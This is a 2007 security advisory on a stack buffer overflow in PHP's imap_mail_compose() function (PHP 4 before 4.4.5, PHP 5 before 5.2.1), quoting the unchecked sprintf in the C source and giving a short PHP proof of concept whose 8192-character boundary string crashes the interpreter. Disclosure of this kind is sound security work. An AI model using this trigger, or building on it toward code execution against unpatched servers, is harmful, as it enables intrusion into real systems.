Sat, 31 Mar 2007


The imap_mail_compose() function of PHP that can be used to construct multipart emails will overflow a stack buffer when it is passed an overlong boundary string. This can lead to arbitrary code execution.

Affected versions

Affected are PHP 4 < 4.4.5 and PHP 5 < 5.2.1

Detailed information

The imap_mail_compose() function constructs multipart emails in a fixed size stackbuffer called tmp.

    char tmp[8 * MAILTMPLEN], *mystring=NULL, *t=NULL, *tempstring=NULL;

When a multipart message is created it first reads the BOUNDARY from the input parameters and simply copies it with a sprintf call into the stack buffer without any size check.

    if (bod && bod->type == TYPEMULTIPART) {

        /* first body part */
            part = bod->nested.part;

        /* find cookie */
            for (param = bod->parameter; param && !cookie; param = param->next) {
                if (!strcmp (param->attribute, "BOUNDARY")) {
                    cookie = param->value;

        /* yucky default */
            if (!cookie) {
                cookie = "-";

        /* for each part */
            do {
            /* build cookie */
                sprintf (t, "--%s%s", cookie, CRLF);

It should be obvious that this allows overflowing the buffer.

Proof of concept, exploit or instructions to reproduce

To test for this vulnerability just try the following piece of code.


$envelope["from"]= "";
$envelope["to"]  = "";

$part1["type"] = TYPEMULTIPART;
$part1["subtype"] = "mixed";
$part1["type.parameters"] = array("BOUNDARY" => str_repeat("A",8192));

$part2["type"] = TYPETEXT;
$part2["subtype"] = "plain";
$part2["description"] = "description3";
$part2[""] = "contents.data3\n\n\n\t";

$body[1] = $part1;
$body[2] = $part2;

imap_mail_compose($envelope, $body);


This little POC will only crash PHP. A code execution exploit is however pretty much straight forward. It will be added to the site in the future. So check back soon.


This vulnerability is just another incarnation of a 08/15 stack based buffer overflow.